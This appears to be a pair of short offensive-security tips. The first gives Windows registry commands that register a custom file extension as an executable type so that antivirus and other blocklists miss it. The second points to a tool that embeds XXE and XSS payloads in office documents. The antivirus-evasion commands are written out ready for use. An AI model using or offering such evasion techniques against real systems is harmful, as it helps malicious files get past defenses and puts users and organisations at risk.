Bypass AV via Change Filenames/Extension

You need to change the files extension:
.eyb files as .exe
.faq files as .dll

Use the following commands:

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /ve /t REG_SZ /d exefile
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /v "Content Type" /t REG_SZ /d "application/x-msdownload"

This can also work on other security solutions and for many other blacklisted techniques.

#av #evasion #extension #file

Docem

A utility to embed XXE and XSS payloads in docx, odt, pptx, etc - any documents that is a zip archive with bunch of xml files inside.

https://github.com/whitel1st/docem

#xxe #xss #doc #file #upload